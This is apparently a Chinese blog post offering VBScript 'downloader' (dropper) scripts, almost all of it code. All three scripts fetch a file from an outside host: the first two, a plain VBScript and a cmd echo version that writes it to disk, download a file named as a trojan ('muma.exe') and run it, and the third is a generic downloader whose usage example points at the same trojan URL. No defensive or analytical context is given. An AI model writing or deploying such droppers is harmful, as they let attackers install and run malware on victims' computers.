VBS下载者

简介: 一、VBS下载者:Set Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.

一、VBS下载者:

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.03389.com/muma.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\zl.exe",2
wscript.sleep 1000
Shell.Run ("c:\zl.exe") '延迟过后执行下载文件


二、cmd下执行的版本:

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
echo Post.Open "GET","http://www.03389.com/muma.exe",0 >>zl.vbs
echo Post.Send() >>zl.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
echo aGet.Mode = 3 >>zl.vbs
echo aGet.Type = 1 >>zl.vbs
echo aGet.Open() >>zl.vbs
echo aGet.Write(Post.responseBody) >>zl.vbs
echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo Shell.Run ("c:\zl.exe") >>zl.vbs

三、wget.vbs

on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
set xPost=CreateObject("Microsoft.XMLHTTP")
if iUser="" and iPass="" then
xPost.Open "GET",iRemote,0
else
xPost.Open "GET",iRemote,0,iUser,iPass
end if
xPost.Send()
set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2

使用方法:cscript wget.vbs http://www.03389.com/muma.exe

目录
相关文章
|
数据安全/隐私保护
|
小程序
vbs控制电脑说话,vbs获取时间,vbs小程序
vbs控制电脑说话,vbs获取时间,vbs小程序
131 0
vbs控制电脑说话,vbs获取时间,vbs小程序
|
XML 数据安全/隐私保护 数据格式
vbs和qtp一些脚本
********************************************************************************************** 用vbs调qtp '编写自动执行指定的QTP脚本的VBS:'利用QTP本身的Quicktest.
1103 0
VBS脚本实例
一、一键升级哨位台核心板程序脚本。 ############################################################ Set ws=WScript.CreateObject("wscript.
829 0
|
数据安全/隐私保护 JavaScript Java